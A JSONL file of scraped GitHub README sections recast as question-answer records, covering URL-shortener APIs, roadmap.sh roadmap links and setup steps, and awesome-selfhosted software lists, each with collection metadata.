Git.io URL shortener | No | Yes | Unknown |\n| [GoTiny](https://github.com/robvanbakel/gotiny-api) | A lightweight URL shortener, focused on ease-of-use for the developer and end-user | No | Yes | Yes |\n| [Kutt](https://docs.kutt.it/) | Free Modern URL Shortener | `apiKey` | Yes | Yes |\n| [Mgnet.me](http://mgnet.me/api.html) | Torrent URL shorten API | No | Yes | No |\n| [owo](https://owo.vc/api) | A simple link obfuscator/shortener | No | Yes | Unknown |\n| [Rebrandly](https://developers.rebrandly.com/v1/docs) | Custom URL shortener for sharing branded links | `apiKey` | Yes | Unknown |\n| [Short Link](https://github.com/FayasNoushad/Short-Link-API) | Short URLs support so many domains | No | Yes | Unknown |\n| [Shrtcode](https://shrtco.de/docs) | URl Shortener with multiple Domains | No | Yes | Yes |\n| [Shrtlnk](https://shrtlnk.dev/developer) | Simple and efficient short link creation | `apiKey` | Yes | Yes |\n| [TinyURL](https://tinyurl.com/app/dev) | Shorten long URLs | `apiKey` | Yes | No |\n| [UrlBae](https://urlbae.com/developers) | Simple and efficient short link creation | `apiKey` | Yes | Yes |\n\n**[⬆ Back to Index](#index)**", "tags": ["public-apis"], "source": "github_gists", "category": "public-apis", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 391360, "answer_score": 10, "has_code": false, "url": "https://github.com/public-apis/public-apis", "collected_at": "2026-01-16T23:28:45.998747"}
{"id": "gh_66d71a46965c", "question": "How to: [View all Roadmaps](https://roadmap.sh) &nbsp;&middot;&nbsp; [Best Practices](https://roadmap.sh/best-practices) &nbsp;&middot;&nbsp; [Questions](https://roadmap.sh/questions)", "question_body": "About kamranahmedse/developer-roadmap", "answer": "![](https://i.imgur.com/waxVImv.png)\n\nHere is the list of available roadmaps with more being actively worked upon.\n\n> Have a look at the [get started](https://roadmap.sh/get-started) page that might help you pick up a path.\n\n- [Frontend Roadmap](https://roadmap.sh/frontend) / [Frontend Beginner Roadmap](https://roadmap.sh/frontend?r=frontend-beginner)\n- [Backend Roadmap](https://roadmap.sh/backend) / [Backend Beginner Roadmap](https://roadmap.sh/backend?r=backend-beginner)\n- [DevOps Roadmap](https://roadmap.sh/devops) / [DevOps Beginner Roadmap](https://roadmap.sh/devops?r=devops-beginner)\n- [DevSecOps Roadmap](https://roadmap.sh/devsecops)\n- [Full Stack Roadmap](https://roadmap.sh/full-stack)\n- [HTML Roadmap](https://roadmap.sh/html)\n- [CSS Roadmap](https://roadmap.sh/css)\n- [JavaScript Roadmap](https://roadmap.sh/javascript)\n- [TypeScript Roadmap](https://roadmap.sh/typescript)\n- [Git and GitHub](https://roadmap.sh/git-github) / [Git and GitHub Beginner](https://roadmap.sh/git-github?r=git-github-beginner)\n- [API Design Roadmap](https://roadmap.sh/api-design)\n- [Computer Science Roadmap](https://roadmap.sh/computer-science)\n- [Data Structures and Algorithms Roadmap](https://roadmap.sh/datastructures-and-algorithms)\n- [AI and Data Scientist Roadmap](https://roadmap.sh/ai-data-scientist)\n- [AI Engineer Roadmap](https://roadmap.sh/ai-engineer)\n- [AWS Roadmap](https://roadmap.sh/aws)\n- [Cloudflare Roadmap](https://roadmap.sh/cloudflare)\n- [Linux Roadmap](https://roadmap.sh/linux)\n- [Terraform Roadmap](https://roadmap.sh/terraform)\n- [Data Analyst Roadmap](https://roadmap.sh/data-analyst)\n- [BI Analyst Roadmap](https://roadmap.sh/bi-analyst)\n- [Data Engineer Roadmap](https://roadmap.sh/data-engineer)\n- [Machine Learning Roadmap](https://roadmap.sh/machine-learning)\n- [MLOps Roadmap](https://roadmap.sh/mlops)\n- [Product Manager Roadmap](https://roadmap.sh/product-manager)\n- [Engineering Manager Roadmap](https://roadmap.sh/engineering-manager)\n- [QA Roadmap](https://roadmap.sh/qa)\n- [Python Roadmap](https://roadmap.sh/python) \n- [Django Roadmap](https://roadmap.sh/django)\n- [Software Architect Roadmap](https://roadmap.sh/software-architect)\n- [Game Developer Roadmap](https://roadmap.sh/game-developer) / [Server Side Game Developer](https://roadmap.sh/server-side-game-developer)\n- [Software Design and Architecture Roadmap](https://roadmap.sh/software-design-architecture)\n- [C++ Roadmap](https://roadmap.sh/cpp)\n- [React Roadmap](https://roadmap.sh/react)\n- [Next.js Roadmap](https://roadmap.sh/nextjs)\n- [React Native Roadmap](https://roadmap.sh/react-native)\n- [Vue Roadmap](https://roadmap.sh/vue)\n- [Angular Roadmap](https://roadmap.sh/angular)\n- [Node.js Roadmap](https://roadmap.sh/nodejs)\n- [PHP Roadmap](https://roadmap.sh/php)\n- [Wordpress Roadmap](https://roadmap.sh/wordpress)\n- [Laravel Roadmap](https://roadmap.sh/laravel)\n- [GraphQL Roadmap](https://roadmap.sh/graphql)\n- [Android Roadmap](https://roadmap.sh/android)\n- [iOS Roadmap](https://roadmap.sh/ios)\n- [Swift/Swift UI Roadmap](https://roadmap.sh/swift-ui)\n- [Flutter Roadmap](https://roadmap.sh/flutter)\n- [Go Roadmap](https://roadmap.sh/golang)\n- [Rust Roadmap](https://roadmap.sh/rust)\n- [Java Roadmap](https://roadmap.sh/java)\n- [Kotlin Roadmap](https://roadmap.sh/kotlin)\n- [Spring Boot Roadmap](https://roadmap.sh/spring-boot)\n- [Design System Roadmap](https://roadmap.sh/design-system)\n- [PostgreSQL Roadmap](https://roadmap.sh/postgresql-dba)\n- [ElasticSearch Roadmap](https://roadmap.sh/elasticsearch)\n- [SQL Roadmap](https://roadmap.sh/sql)\n- [Redis Roadmap](https://roadmap.sh/redis)\n- [Blockchain Roadmap](https://roadmap.sh/blockchain)\n- [ASP.NET Core Roadmap](https://roadmap.sh/aspnet-core)\n- [System Design Roadmap](https://roadmap.sh/system-design)\n- [Kubernetes Roadmap](https://roadmap.sh/kubernetes)\n- [Cyber Security Roadmap](https://roadmap.sh/cyber-security)\n- [MongoDB Roadmap](https://roadmap.sh/mongodb)\n- [UX Design Roadmap](https://roadmap.sh/ux-design)\n- [Docker Roadmap](https://roadmap.sh/docker)\n- [Prompt Engineering Roadmap](https://roadmap.sh/prompt-engineering)\n- [Technical Writer Roadmap](https://roadmap.sh/technical-writer)\n- [DevRel Engineer Roadmap](https://roadmap.sh/devrel)\n- [AI Red Teaming Roadmap](https://roadmap.sh/ai-red-teaming)\n- [AI Agents Roadmap](https://roadmap.sh/ai-agents)\n- [Bash/Shell Roadmap](https://roadmap.sh/shell-bash)\n\nThere are also interactive best practices:\n\n- [Backend Performance Best Practices](https://roadmap.sh/best-practices/backend-performance)\n- [Frontend Performance Best Practices](https://roadmap.sh/best-practices/frontend-performance)\n- [Code Review Best Practices](https://roadmap.sh/best-practices/code-review)\n- [API Security Best Practices](https://roadmap.sh/best-practices/api-security)\n- [AWS Best Practices](https://roadmap.sh/best-practices/aws)\n\n..and questions to help you test, rate and improve your knowledge\n\n- [JavaScript Questions](https://roadmap.sh/questions/javascript)\n- [Node.js Questi", "tags": ["kamranahmedse"], "source": "github_gists", "category": "kamranahmedse", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 347350, "answer_score": 10, "has_code": false, "url": "https://github.com/kamranahmedse/developer-roadmap", "collected_at": "2026-01-16T23:28:47.937022"}
{"id": "gh_a09b489f9a17", "question": "How to: Share with the community", "question_body": "About kamranahmedse/developer-roadmap", "answer": "Please consider sharing a post about [roadmap.sh](https://roadmap.sh) and the value it provides. It really does help!\n\n[![GitHub Repo stars](https://img.shields.io/badge/share%20on-reddit-red?logo=reddit)](https://reddit.com/submit?url=https://roadmap.sh&title=Interactive%20roadmaps,%20guides%20and%20other%20educational%20content%20for%20Developers)\n[![GitHub Repo stars](https://img.shields.io/badge/share%20on-hacker%20news-orange?logo=ycombinator)](https://news.ycombinator.com/submitlink?u=https://roadmap.sh)\n[![GitHub Repo stars](https://img.shields.io/badge/share%20on-twitter-03A9F4?logo=twitter)](https://twitter.com/share?url=https://roadmap.sh&text=Interactive%20roadmaps,%20guides%20and%20other%20educational%20content%20for%20Developers)\n[![GitHub Repo stars](https://img.shields.io/badge/share%20on-facebook-1976D2?logo=facebook)](https://www.facebook.com/sharer/sharer.php?u=https://roadmap.sh)\n[![GitHub Repo stars](https://img.shields.io/badge/share%20on-linkedin-3949AB?logo=linkedin)](https://www.linkedin.com/shareArticle?url=https://roadmap.sh&title=Interactive%20roadmaps,%20guides%20and%20other%20educational%20content%20for%20Developers)", "tags": ["kamranahmedse"], "source": "github_gists", "category": "kamranahmedse", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 347350, "answer_score": 10, "has_code": false, "url": "https://github.com/kamranahmedse/developer-roadmap", "collected_at": "2026-01-16T23:28:47.937038"}
{"id": "gh_fa06e1b10670", "question": "How to: Development", "question_body": "About kamranahmedse/developer-roadmap", "answer": "Clone the repository, install the dependencies and start the application\n\n```bash\ngit clone git@github.com:kamranahmedse/developer-roadmap.git --depth 1\ncd developer-roadmap\npnpm add @roadmapsh/editor@npm:@roadmapsh/dummy-editor -w\npnpm install\n```\n\nRun the development server with:\n\n```bash\npnpm dev\n```", "tags": ["kamranahmedse"], "source": "github_gists", "category": "kamranahmedse", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 347350, "answer_score": 10, "has_code": true, "url": "https://github.com/kamranahmedse/developer-roadmap", "collected_at": "2026-01-16T23:28:47.937044"}
{"id": "gh_3de01052ee7e", "question": "How to: Contribution", "question_body": "About kamranahmedse/developer-roadmap", "answer": "> Have a look at [contribution docs](./contributing.md) for how to update any of the roadmaps\n\n- Add content to roadmaps\n- Add new roadmaps\n- Suggest changes to existing roadmaps\n- Discuss ideas in issues\n- Spread the word", "tags": ["kamranahmedse"], "source": "github_gists", "category": "kamranahmedse", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 347350, "answer_score": 10, "has_code": false, "url": "https://github.com/kamranahmedse/developer-roadmap", "collected_at": "2026-01-16T23:28:47.937051"}
{"id": "gh_e2dcdbfc0a2a", "question": "How to: Thanks to all contributors ❤", "question_body": "About kamranahmedse/developer-roadmap", "answer": "", "tags": ["kamranahmedse"], "source": "github_gists", "category": "kamranahmedse", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 347350, "answer_score": 10, "has_code": false, "url": "https://github.com/kamranahmedse/developer-roadmap", "collected_at": "2026-01-16T23:28:47.937058"}
{"id": "gh_b654ec98421e", "question": "How to: Table of contents", "question_body": "About awesome-selfhosted/awesome-selfhosted", "answer": "- [Software](#software)\n  - [Analytics](#analytics)\n  - [Archiving and Digital Preservation (DP)](#archiving-and-digital-preservation-dp)\n  - [Automation](#automation)\n  - [Backup](#backup)\n  - [Blogging Platforms](#blogging-platforms)\n  - [Booking and Scheduling](#booking-and-scheduling)\n  - [Bookmarks and Link Sharing](#bookmarks-and-link-sharing)\n  - [Calendar & Contacts](#calendar--contacts)\n  - [Communication - Custom Communication Systems](#communication---custom-communication-systems)\n  - [Communication - Email - Complete Solutions](#communication---email---complete-solutions)\n  - [Communication - Email - Mail Delivery Agents](#communication---email---mail-delivery-agents)\n  - [Communication - Email - Mail Transfer Agents](#communication---email---mail-transfer-agents)\n  - [Communication - Email - Mailing Lists and Newsletters](#communication---email---mailing-lists-and-newsletters)\n  - [Communication - Email - Webmail Clients](#communication---email---webmail-clients)\n  - [Communication - IRC](#communication---irc)\n  - [Communication - SIP](#communication---sip)\n  - [Communication - Social Networks and Forums](#communication---social-networks-and-forums)\n  - [Communication - Video Conferencing](#communication---video-conferencing)\n  - [Communication - XMPP - Servers](#communication---xmpp---servers)\n  - [Communication - XMPP - Web Clients](#communication---xmpp---web-clients)\n  - [Community-Supported Agriculture (CSA)](#community-supported-agriculture-csa)\n  - [Conference Management](#conference-management)\n  - [Content Management Systems (CMS)](#content-management-systems-cms)\n  - [Customer Relationship Management (CRM)](#customer-relationship-management-crm)\n  - [Database Management](#database-management)\n  - [DNS](#dns)\n  - [Document Management](#document-management)\n  - [Document Management - E-books](#document-management---e-books)\n  - [Document Management - Institutional Repository and Digital Library Software](#document-management---institutional-repository-and-digital-library-software)\n  - [Document Management - Integrated Library Systems (ILS)](#document-management---integrated-library-systems-ils)\n  - [E-commerce](#e-commerce)\n  - [Federated Identity & Authentication](#federated-identity--authentication)\n  - [Feed Readers](#feed-readers)\n  - [File Transfer & Synchronization](#file-transfer--synchronization)\n  - [File Transfer - Distributed Filesystems](#file-transfer---distributed-filesystems)\n  - [File Transfer - Object Storage & File Servers](#file-transfer---object-storage--file-servers)\n  - [File Transfer - Peer-to-peer Filesharing](#file-transfer---peer-to-peer-filesharing)\n  - [File Transfer - Single-click & Drag-n-drop Upload](#file-transfer---single-click--drag-n-drop-upload)\n  - [File Transfer - Web-based File Managers](#file-transfer---web-based-file-managers)\n  - [Games](#games)\n  - [Games - Administrative Utilities & Control Panels](#games---administrative-utilities--control-panels)\n  - [Genealogy](#genealogy)\n  - [Generative Artificial Intelligence (GenAI)](#generative-artificial-intelligence-genai)\n  - [Groupware](#groupware)\n  - [Health and Fitness](#health-and-fitness)\n  - [Human Resources Management (HRM)](#human-resources-management-hrm)\n  - [Identity Management](#identity-management)\n  - [Internet of Things (IoT)](#internet-of-things-iot)\n  - [Inventory Management](#inventory-management)\n  - [Knowledge Management Tools](#knowledge-management-tools)\n  - [Learning and Courses](#learning-and-courses)\n  - [Manufacturing](#manufacturing)\n  - [Maps and Global Positioning System (GPS)](#maps-and-global-positioning-system-gps)\n  - [Media Management](#media-management)\n  - [Media Streaming](#media-streaming)\n  - [Media Streaming - Audio Streaming](#media-streaming---audio-streaming)\n  - [Media Streaming - Multimedia Streaming](#media-streaming---multimedia-streaming)\n  - [Media Streaming - Video Streaming](#media-streaming---video-streaming)\n  - [Miscellaneous](#miscellaneous)\n  - [Money, Budgeting & Management](#money-budgeting--management)\n  - [Monitoring](#monitoring)\n  - [Network Utilities](#network-utilities)\n  - [Note-taking & Editors](#note-taking--editors)\n  - [Office Suites](#office-suites)\n  - [Password Managers](#password-managers)\n  - [Pastebins](#pastebins)\n  - [Personal Dashboards](#personal-dashboards)\n  - [Photo Galleries](#photo-galleries)\n  - [Polls and Events](#polls-and-events)\n  - [Proxy](#proxy)\n  - [Recipe Management](#recipe-management)\n  - [Remote Access](#remote-access)\n  - [Resource Planning](#resource-planning)\n  - [Search Engines](#search-engines)\n  - [Self-hosting Solutions](#self-hosting-solutions)\n  - [Software Development](#software-development)\n  - [Software Development - API Management](#software-development---api-management)\n  - [Software Development - Continuous Integration & Deployment](#software-development---continuous-integration--deployment)\n  - [Software Development - FaaS & Serverless](#software-development---faas--serverless)\n  - [Soft", "tags": ["awesome-selfhosted"], "source": "github_gists", "category": "awesome-selfhosted", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 268515, "answer_score": 10, "has_code": false, "url": "https://github.com/awesome-selfhosted/awesome-selfhosted", "collected_at": "2026-01-16T23:28:49.556887"}
{"id": "gh_22de227bea68", "question": "How to: Archiving and Digital Preservation (DP)", "question_body": "About awesome-selfhosted/awesome-selfhosted", "answer": "**[`^        back to top        ^`](#awesome-selfhosted)**\n\nDigital [archiving](https://en.wikipedia.org/wiki/Archival_science) and [preservation](https://en.wikipedia.org/wiki/Digital_preservation) software.\n\n_Related: [Backup](#backup), [Content Management Systems (CMS)](#content-management-systems-cms)_\n\n_See also: [awesome-web-archiving](https://github.com/iipc/awesome-web-archiving)_\n\n- [ArchiveBox](https://archivebox.io/) - Create HTML & screenshot archives of sites from your bookmarks, browsing history, RSS feeds, or other sources (alternative to Wayback Machine). ([Demo](https://demo.archivebox.io/), [Source Code](https://github.com/ArchiveBox/ArchiveBox)) `MIT` `Python/Docker`\n- [ArchivesSpace](https://archivesspace.org/) - Archives information management application for managing and providing Web access to archives, manuscripts and digital objects. ([Demo](https://archivesspace.org/application/sandbox), [Source Code](https://github.com/archivesspace/archivesspace)) `ECL-2.0` `Ruby`\n- [bitmagnet](https://bitmagnet.io) - BitTorrent indexer, DHT crawler, content classifier and torrent search engine with web UI, GraphQL API and Servarr stack integration. ([Source Code](https://github.com/bitmagnet-io/bitmagnet)) `MIT` `Go/Docker`\n- [CKAN](https://ckan.org) - Make open data websites. ([Source Code](https://github.com/ckan/ckan)) `AGPL-3.0` `Python`\n- [Collective Access - Providence](https://collectiveaccess.org/) - Highly configurable Web-based framework for management, description, and discovery of digital and physical collections supporting a variety of metadata standards, data types, and media formats. ([Source Code](https://github.com/collectiveaccess/providence)) `GPL-3.0` `PHP`\n- [Ganymede](https://github.com/Zibbp/ganymede) `⚠` - Twitch VOD and live stream archiving platform. Includes a rendered chat for each archive. `GPL-3.0` `Docker`\n- [Omeka S](https://omeka.org/s/) - Next-generation web publishing platform for institutions interested in connecting digital cultural heritage collections with other resources online. ([Source Code](https://github.com/omeka/omeka-s)) `GPL-3.0` `Nodejs`\n- [Piler](https://www.mailpiler.org/) - Feature-rich email archiving solution. ([Source Code](https://github.com/jsuto/piler/)) `GPL-3.0` `C/Docker/deb`\n- [Wallabag](https://www.wallabag.org) - Wallabag, formerly Poche, is a web application allowing you to save articles to read them later with improved readability. ([Source Code](https://github.com/wallabag/wallabag)) `MIT` `PHP`\n- [Wayback](https://github.com/wabarc/wayback) - A self-hosted toolkit for archiving webpages to the Internet Archive, archive.today, IPFS, and local file systems. `GPL-3.0` `Go`\n- [Webarchive](https://github.com/derfenix/webarchive) - Lightweight self-hosted _wayback machine_ that creates HTML and PDF files from your bookmarks. `BSD-3-Clause` `Go`", "tags": ["awesome-selfhosted"], "source": "github_gists", "category": "awesome-selfhosted", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 268515, "answer_score": 10, "has_code": true, "url": "https://github.com/awesome-selfhosted/awesome-selfhosted", "collected_at": "2026-01-16T23:28:49.556919"}
{"id": "gh_e877d37bb51f", "question": "How to: Blogging Platforms", "question_body": "About awesome-selfhosted/awesome-selfhosted", "answer": "**[`^        back to top        ^`](#awesome-selfhosted)**\n\nA [blog](https://en.wikipedia.org/wiki/Blog) is a discussion or informational website consisting of discrete, diary-style text entries (posts).\n\n_Related: [Static Site Generators](#static-site-generators), [Content Management Systems (CMS)](#content-management-systems-cms)_\n\n_See also: [WeblogMatrix](https://www.weblogmatrix.org/)_\n\n- [Antville](https://antville.org) - Free, open source project aimed at the development of a high performance, feature rich weblog hosting software. ([Source Code](https://github.com/antville/antville)) `Apache-2.0` `Javascript`\n- [Castopod](https://castopod.org) - Podcast management hosting platform that includes the latest podcast 2.0 standards, an automated Fediverse feed, analytics, an embeddable player, and more. ([Source Code](https://code.castopod.org/adaures/castopod)) `AGPL-3.0` `PHP/Docker`\n- [Chyrp Lite](https://chyrplite.net) - Extra-awesome, extra-lightweight blog engine. ([Source Code](https://github.com/xenocrat/chyrp-lite)) `BSD-3-Clause` `PHP`\n- [Dotclear](https://git.dotclear.org/dev/dotclear) - Take control over your blog. `GPL-2.0` `PHP`\n- [Ech0](https://echo.soopy.cn/) - Lightweight federated publishing platform focused on personal idea sharing (documentation in Chinese). ([Demo](https://memo.vaaat.com/), [Source Code](https://github.com/lin-snow/Ech0)) `AGPL-3.0` `Docker/K8S`\n- [FlatPress](https://flatpress.org/) - A lightweight, easy-to-set-up flat-file blogging engine. ([Source Code](https://github.com/flatpressblog/flatpress)) `GPL-2.0` `PHP`\n- [fx](https://github.com/rikhuijzer/fx) - Micro-blog tool offering built-in syntax highlighting, mobile publishing and more (alternative to Twitter, Bluesky). `MIT` `Docker`\n- [Ghost](https://ghost.org/) - Just a blogging platform. ([Source Code](https://github.com/TryGhost/Ghost)) `MIT` `Nodejs`\n- [Haven](https://havenweb.org/) - Private blogging system with markdown editing and built in RSS reader. ([Demo](https://havenweb.org/demo.html), [Source Code](https://github.com/havenweb/haven)) `MIT` `Ruby`\n- [HTMLy](https://www.htmly.com/) - Databaseless PHP blogging platform. A flat-file CMS that allows you to create a fast, secure, and powerful website or blog in seconds. ([Demo](http://demo.htmly.com/), [Source Code](https://github.com/danpros/htmly)) `GPL-2.0` `PHP`\n- [Known](https://withknown.com/) - Collaborative social publishing platform. ([Source Code](https://github.com/idno/known)) `Apache-2.0` `PHP`\n- [Mataroa](https://mataroa.blog/) - Naked blogging platform for minimalists. ([Source Code](https://github.com/mataroablog/mataroa)) `MIT` `Python`\n- [PluXml](https://pluxml.org) - XML-based blog/CMS platform. ([Source Code](https://github.com/pluxml/PluXml)) `GPL-3.0` `PHP`\n- [Serendipity](https://docs.s9y.org/) - Serendipity (s9y) is a highly extensible and customizable PHP blog engine using Smarty templating. ([Source Code](https://github.com/s9y/serendipity)) `BSD-3-Clause` `PHP`\n- [WriteFreely](https://writefreely.org) - Writing software for starting a minimalist, federated blog — or an entire community. ([Source Code](https://github.com/writefreely/writefreely)) `AGPL-3.0` `Go`", "tags": ["awesome-selfhosted"], "source": "github_gists", "category": "awesome-selfhosted", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 268515, "answer_score": 10, "has_code": true, "url": "https://github.com/awesome-selfhosted/awesome-selfhosted", "collected_at": "2026-01-16T23:28:49.556950"}
{"id": "gh_a2b24080ba9d", "question": "How to: Booking and Scheduling", "question_body": "About awesome-selfhosted/awesome-selfhosted", "answer": "**[`^        back to top        ^`](#awesome-selfhosted)**\n\nEvent scheduling, reservation, and appointment management software.\n\n_Related: [Polls and Events](#polls-and-events)_\n\n- [Alf.io](https://alf.io/) - Ticket reservation system. ([Demo](https://demo.alf.io/authentication), [Source Code](https://github.com/alfio-event/alf.io)) `GPL-3.0` `Java`\n- [Cal.com](https://cal.com/) - Online appointment scheduling system. ([Demo](https://app.cal.com/bailey), [Source Code](https://github.com/calcom/cal.com)) `AGPL-3.0` `Nodejs`\n- [Easy!Appointments](https://easyappointments.org/) - Allows your customers to book appointments with you via the web. ([Demo](https://demo.easyappointments.org/), [Source Code](https://github.com/alextselegidis/easyappointments)) `GPL-3.0` `PHP`\n- [Hi.Events](https://hi.events) - Event management and ticketing platform for conferences, concerts, and more. Offering customizable event pages and embeddable ticket widgets. ([Demo](https://demo.hi.events/event/1/dog-conf-2030), [Source Code](https://github.com/HiEventsDev/hi.events)) `AGPL-3.0` `Docker`\n- [LibreBooking](https://librebooking.readthedocs.io/) - Resource scheduling solution offering a flexible, mobile-friendly, and extensible interface for organizations to manage resource reservations. ([Demo](https://librebooking-demo.fly.dev/), [Source Code](https://github.com/LibreBooking/app)) `GPL-3.0` `PHP/Docker`\n- [QloApps](https://qloapps.com/) - Customizable and intuitive web-based hotel reservation system and a booking engine. ([Demo](https://demo.qloapps.com/), [Source Code](https://github.com/Qloapps/QloApps)) `OSL-3.0` `PHP/Nodejs`\n- [Rallly](https://rallly.co) - Create polls to vote on dates and times (alternative to Doodle). ([Demo](https://app.rallly.co), [Source Code](https://github.com/lukevella/rallly)) `AGPL-3.0` `Nodejs/Docker`\n- [Seatsurfing](https://seatsurfing.app/) - Webbased app to book seats, desks and rooms for offices. ([Source Code](https://github.com/seatsurfing/seatsurfing)) `GPL-3.0` `Docker`", "tags": ["awesome-selfhosted"], "source": "github_gists", "category": "awesome-selfhosted", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 268515, "answer_score": 10, "has_code": true, "url": "https://github.com/awesome-selfhosted/awesome-selfhosted", "collected_at": "2026-01-16T23:28:49.556957"}
{"id": "gh_6bb9aaaefe91", "question": "How to: Bookmarks and Link Sharing", "question_body": "About awesome-selfhosted/awesome-selfhosted", "answer": "**[`^        back to top        ^`](#awesome-selfhosted)**\n\nSoftware which allows users to add, annotate, edit, and share [bookmarks](https://en.wikipedia.org/wiki/Bookmark_(digital)) of web documents.\n\n- [Briefkasten](https://github.com/ndom91/briefkasten) - Modern app for saving and managing your own bookmarks. Includes a browser extension. ([Demo](https://briefkastenhq.com/auth/signin)) `MIT` `Nodejs/Docker`\n- [Buku](https://github.com/jarun/Buku) - Powerful bookmark manager and a personal textual mini-web. `GPL-3.0` `Python/deb`\n- [Digibunch](https://ladigitale.dev/digibunch/#/) - Create bunches of links to share with your learners or colleagues. ([Demo](https://ladigitale.dev/digibunch/#/b/5f67b12092b60), [Source Code](https://codeberg.org/ladigitale/digibunch)) `AGPL-3.0` `Nodejs/PHP`\n- [Espial](https://github.com/jonschoning/espial) - An open-source, web-based bookmarking server. `AGPL-3.0` `Haskell`\n- [Firefox Account Server](https://mozilla-services.readthedocs.io/en/latest/howtos/run-fxa.html) - Host your own Firefox accounts server. ([Source Code](https://github.com/mozilla/fxa)) `MPL-2.0` `Nodejs/Java`\n- [Grimoire](https://grimoire.pro) - Bookmark manager with a modern UI, automatic content & metadata extraction, categorization, filtering, and more. It has fully documented REST API, and Docker image for easy deployment. ([Source Code](https://github.com/goniszewski/grimoire)) `MIT` `Nodejs/Docker`\n- [Karakeep](https://karakeep.app/) - Bookmark-everything app with a touch of AI for the data hoarders out there. ([Demo](https://try.karakeep.app/signin), [Source Code](https://github.com/karakeep-app/karakeep)) `AGPL-3.0` `Docker`\n- [LinkAce](https://www.linkace.org/) - Bookmark archive with automatic backups to the Internet Archive, link monitoring, and a full REST API. Installation is done via Docker, or as a simple PHP application. ([Demo](https://demo.linkace.org/guest/links), [Source Code](https://github.com/Kovah/LinkAce/)) `GPL-3.0` `Docker/PHP`\n- [linkding](https://linkding.link/) - Minimal bookmark management with a fast and clean UI. Simple installation through Docker and can run on your Raspberry Pi. ([Demo](https://demo.linkding.link/login/), [Source Code](https://github.com/sissbruecker/linkding)) `MIT` `Docker`\n- [LinkWarden](https://linkwarden.app/) - Bookmark and archive manager to store your useful links. ([Source Code](https://github.com/linkwarden/linkwarden)) `MIT` `Docker/Nodejs`\n- [NeonLink](https://github.com/AlexSciFier/neonlink) - Bookmark service with unique design and simple installation with Docker. `MIT` `Docker`\n- [Readeck](https://readeck.org/en/) - Save the precious readable content of web pages you like and want to keep forever. See it as a bookmark manager and a read later tool. ([Source Code](https://codeberg.org/readeck/readeck), [Clients](https://codeberg.org/readeck/browser-extension)) `AGPL-3.0` `Go/Docker`\n- [Servas](https://github.com/beromir/Servas) - A self-hosted bookmark management tool. It allows organization with tags, groups, and a list specifically for later access. It supports multiple users with 2FA. Companion browser extensions are available for Firefox and Chrome. ([Clients](https://github.com/beromir/Servas#browser-extensions)) `GPL-3.0` `Docker/Nodejs/PHP`\n- [Shaarli](https://github.com/shaarli/Shaarli) - Personal, minimalist, super-fast, no-database bookmarking and link sharing platform. ([Demo](https://demo.shaarli.org)) `Zlib` `PHP/deb`\n- [Shiori](https://github.com/go-shiori/shiori) - Simple bookmark manager built with Go. `MIT` `Go/Docker`\n- [Slash](https://github.com/yourselfhosted/slash) - An open source, self-hosted bookmarks and link sharing platform. `GPL-3.0` `Docker`\n- [SyncMarks](https://codeberg.org/Offerel/SyncMarks-Webapp) - Sync and manage your browser bookmarks from Edge, Firefox and Chromium. ([Clients](https://codeberg.org/Offerel/SyncMarks-Extension)) `AGPL-3.0` `PHP`", "tags": ["awesome-selfhosted"], "source": "github_gists", "category": "awesome-selfhosted", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 268515, "answer_score": 10, "has_code": true, "url": "https://github.com/awesome-selfhosted/awesome-selfhosted", "collected_at": "2026-01-16T23:28:49.556966"}
{"id": "gh_a185f9d65c01", "question": "How to: Calendar & Contacts", "question_body": "About awesome-selfhosted/awesome-selfhosted", "answer": "**[`^        back to top        ^`](#awesome-selfhosted)**\n\n[CalDAV](https://en.wikipedia.org/wiki/CalDAV) and [CardDAV](https://en.wikipedia.org/wiki/CardDAV) protocol servers and web clients/interfaces for [Electronic calendar](https://en.wikipedia.org/wiki/Calendaring_software), [address book](https://en.wikipedia.org/wiki/Address_book) and [contact management](https://en.wikipedia.org/wiki/Contact_manager).\n\n_Related: [Groupware](#groupware)_\n\n_See also: [Comparison of CalDAV and CardDAV implementations - Wikipedia](https://en.wikipedia.org/wiki/Comparison_of_CalDAV_and_CardDAV_implementations)_\n\n- [Baïkal](https://sabre.io/baikal/) - Lightweight CalDAV and CardDAV server based on sabre/dav. ([Source Code](https://github.com/sabre-io/Baikal)) `GPL-3.0` `PHP`\n- [DAViCal](https://www.davical.org/) - Server for calendar sharing (CalDAV) that uses a PostgreSQL database as a data store. ([Source Code](https://gitlab.com/davical-project/davical)) `GPL-2.0` `PHP/deb`\n- [Davis](https://github.com/tchapi/davis) - A simple, dockerizable and fully translatable admin interface for sabre/dav based on Symfony 5 and Bootstrap 4, largely inspired by Baïkal. `MIT` `PHP`\n- [Manage My Damn Life](https://intri.in/manage-my-damn-life/) - Manage my Damn Life (MMDL) is a self-hosted front end for managing your CalDAV tasks and calendars. ([Source Code](https://github.com/intri-in/manage-my-damn-life-nextjs)) `GPL-3.0` `Nodejs/Docker`\n- [Radicale](https://radicale.org/) - Simple calendar and contact server with extremely low administrative overhead. ([Source Code](https://github.com/Kozea/Radicale)) `GPL-3.0` `Python/deb`\n- [SabreDAV](https://sabre.io/) - Open source CardDAV, CalDAV, and WebDAV framework and server. ([Source Code](https://github.com/sabre-io/dav)) `MIT` `PHP`\n- [Xandikos](https://github.com/jelmer/xandikos) - Open source CardDAV and CalDAV server with minimal administrative overhead, backed by a Git repository. `GPL-3.0` `Python/deb`", "tags": ["awesome-selfhosted"], "source": "github_gists", "category": "awesome-selfhosted", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 268515, "answer_score": 10, "has_code": true, "url": "https://github.com/awesome-selfhosted/awesome-selfhosted", "collected_at": "2026-01-16T23:28:49.556974"}
